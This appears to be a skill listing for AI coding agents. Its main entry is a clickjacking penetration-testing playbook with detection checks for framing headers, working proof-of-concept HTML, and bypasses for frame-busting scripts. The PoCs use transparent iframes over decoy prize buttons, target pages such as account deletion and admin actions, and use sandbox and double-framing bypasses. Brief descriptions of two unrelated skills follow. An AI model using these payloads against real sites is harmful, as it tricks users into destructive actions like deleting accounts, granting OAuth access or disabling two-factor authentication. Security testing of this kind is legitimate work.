clickjacking
Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.
What this skill does
# SKILL: Clickjacking — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Clickjacking (UI redress) techniques. Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities. Often a "low severity" finding that becomes critical when targeting admin actions.
## 1. CORE CONCEPT
Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page. The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions.
```html
<style>
iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
.decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style>
<div class="decoy"><button>Click to win a prize!</button></div>
<iframe src="https://target.com/account/delete?confirm=yes"></iframe>
```

## 2. DETECTION — IS THE PAGE FRAMEABLE?
### Check X-Frame-Options Header
```
X-Frame-Options: DENY → cannot be framed (secure)
X-Frame-Options: SAMEORIGIN → only same-origin framing (secure for cross-origin)
X-Frame-Options: ALLOW-FROM uri → deprecated, browser support inconsistent
(header absent) → frameable! (vulnerable)
```
### Check CSP frame-ancestors
```
Content-Security-Policy: frame-ancestors 'none' → cannot be framed
Content-Security-Policy: frame-ancestors 'self' → same-origin only
Content-Security-Policy: frame-ancestors https://a.com → specific origin
(directive absent) → frameable
```
**CSP frame-ancestors supersedes X-Frame-Options** in modern browsers.
### Quick PoC Test
```html
<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>
```
If the page loads in the iframe → frameable → potentially vulnerable.
### JavaScript Frame Detection (from target page source)
```javascript
// Common frame-busting code found in target pages:
if (top.location.hostname !== self.location.hostname) {
top.location.href = self.location.href;
}
```
If this code is present but not using CSP `frame-ancestors`, it can often be bypassed.

## 3. PROOF OF CONCEPT TEMPLATES
### Basic Single-Click
```html
<html>
<head><title>Free Prize</title></head>
<body>
<h1>Click the button to claim your prize!</h1>
<style>
iframe { position: absolute; top: 300px; left: 60px;
width: 500px; height: 200px; opacity: 0.0001; z-index: 2; }
</style>
<iframe src="https://target.com/account/settings?action=delete"></iframe>
</body>
</html>
```
### Multi-Step Clickjacking
For actions requiring multiple clicks (e.g., "Are you sure?" confirmation):
```html
<div id="step1">
<button onclick="document.getElementById('step1').style.display='none';
document.getElementById('step2').style.display='block';">
Step 1: Click here
</button>
</div>
<div id="step2" style="display:none">
<button>Step 2: Confirm</button>
</div>
<iframe src="https://target.com/admin/action"></iframe>
```
Reposition iframe for each step to align the transparent button with the decoy.
### Drag-and-Drop Clickjacking
Extract data from one iframe to another using HTML5 drag-and-drop events — the victim drags across invisible iframes, transferring tokens or data.

## 4. BYPASS TECHNIQUES
### Frame-Busting Script Bypass
Some pages use JavaScript frame-busting:
```javascript
if (top !== self) { top.location = self.location; }
```
**Bypass with sandbox attribute**:
```html
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
<!-- sandbox without allow-top-navigation prevents frame-busting -->
```
### X-Frame-Options ALLOW-FROM Bypass
`ALLOW-FROM` is not supported in Chrome/Safari. If the server relies solely on `ALLOW-FROM`, modern browsers ignore it → page is frameable.
### Double-Framing
If `X-Frame-Options: SAMEORIGIN` is set, but a same-origin page exists that can be framed (without XFO), use that page as an intermediary to frame the target.

## 5. HIGH-IMPACT TARGETS
```text
Account deletion page
Email/password change form
Admin panel actions (add user, change role)
Payment confirmation
OAuth authorization ("Allow" button)
Two-factor authentication disable
API key generation
Webhook configuration
```
---
## 6. TESTING CHECKLIST
```
□ Check X-Frame-Options header on sensitive pages
□ Check CSP frame-ancestors directive
□ Create iframe PoC and verify page loads
□ Test frame-busting scripts — try sandbox attribute bypass
□ Identify high-value single-click actions
□ For multi-step actions, build multi-click PoC
□ Test both authenticated and unauthenticated pages
□ Verify ALLOW-FROM behavior across browsers

contribute
IncludedLocal-only OSS contribution command center. Auto-refreshes the user's in-flight PR and issue state on invoke so conversations start with full context — no need to brief Claude on what's in flight. Helps the user find issues to contribute to on GitHub, builds per-repo dossiers of what each upstream expects (CLA, DCO, branch convention, AI policy, draft-first, review bots, issue templates), runs deterministic gates before any external action so AI-assisted contributions don't reach maintainers as slop. State is markdown-only: candidate files at ~/.contribute-system/candidates/, repo dossiers at ~/.contribute-system/research/, append-only event log at ~/.contribute-system/log.jsonl. No database, no cloud calls. Use when the user asks about their PRs / issues / contributions, wants to find new work to take on, claim an issue, build/refresh a repo's dossier, or draft a Design Issue or PR. Trigger with "/contribute", "what's my PR status", "find a contribution", "claim issue X", "draft a Design Issue for Y", "refresh dossier for Z".
architectural-analysis
IncludedUser-triggered deep architectural analysis of a codebase or scoped subtree across eight modes — information architecture, data flow, integration points, UI surfaces, interaction patterns, data model, control flow, and failure modes. This skill should be used when the user asks to "diagram this codebase," "map the architecture," "show the data flow," "give me an ERD," "trace control flow," "find the integration points," "verify the layout pattern," "audit the UX architecture," or any similar request whose primary deliverable is mermaid diagrams plus cited reports under docs/architecture/. Dispatches haiku/sonnet sub-agents in parallel for per-mode exploration, then verifies every citation mechanically before any node lands in a diagram. Not for one-off prose explanations of code (use code-explanation) or for high-level system design from scratch (use system-design).
